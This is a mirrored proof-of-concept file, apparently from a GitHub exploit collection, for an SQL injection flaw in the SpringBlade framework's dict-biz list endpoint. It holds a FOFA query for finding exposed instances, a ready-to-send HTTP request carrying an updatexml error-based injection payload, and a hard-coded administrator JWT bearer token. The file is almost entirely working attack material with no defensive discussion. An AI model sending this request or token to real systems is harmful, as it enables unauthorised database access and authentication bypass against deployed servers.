mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-05-05 10:17:57 +00:00
17 lines
936 B
Markdown
17 lines
936 B
Markdown
|
## SpringBlade框架dict-biz接口存在sql注入漏洞
|
||
|
|
|
||
|
|
|
||
|
|
## fofa
|
||
|
|
```
|
||
|
|
body="Saber 将不能正常工作"
|
||
|
|
```
|
||
|
|
|
||
|
|
## poc
|
||
|
|
```
|
||
|
|
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
|
||
|
|
Host: your-ip
|
||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win
|
||
|
|
Blade-Auth: bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzM4NCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsInRva2VuX3R5cGUiOiJhY2Nlc3NfdG9rZW4iLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwibmlja19uYW1lIjoi566h55CG5ZGYIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciIsImV4cCI6MTcxMzMyNzQ1MCwibmJmIjoxNzEzMzIzODUwfQ.zJmo3yN4PfvJz3gDNAFESgJg1wu37XIfiohfP7BHG39YROWaag3e2Hgw_4lD3pd8
|
||
|
|
|
||
|
|
```
|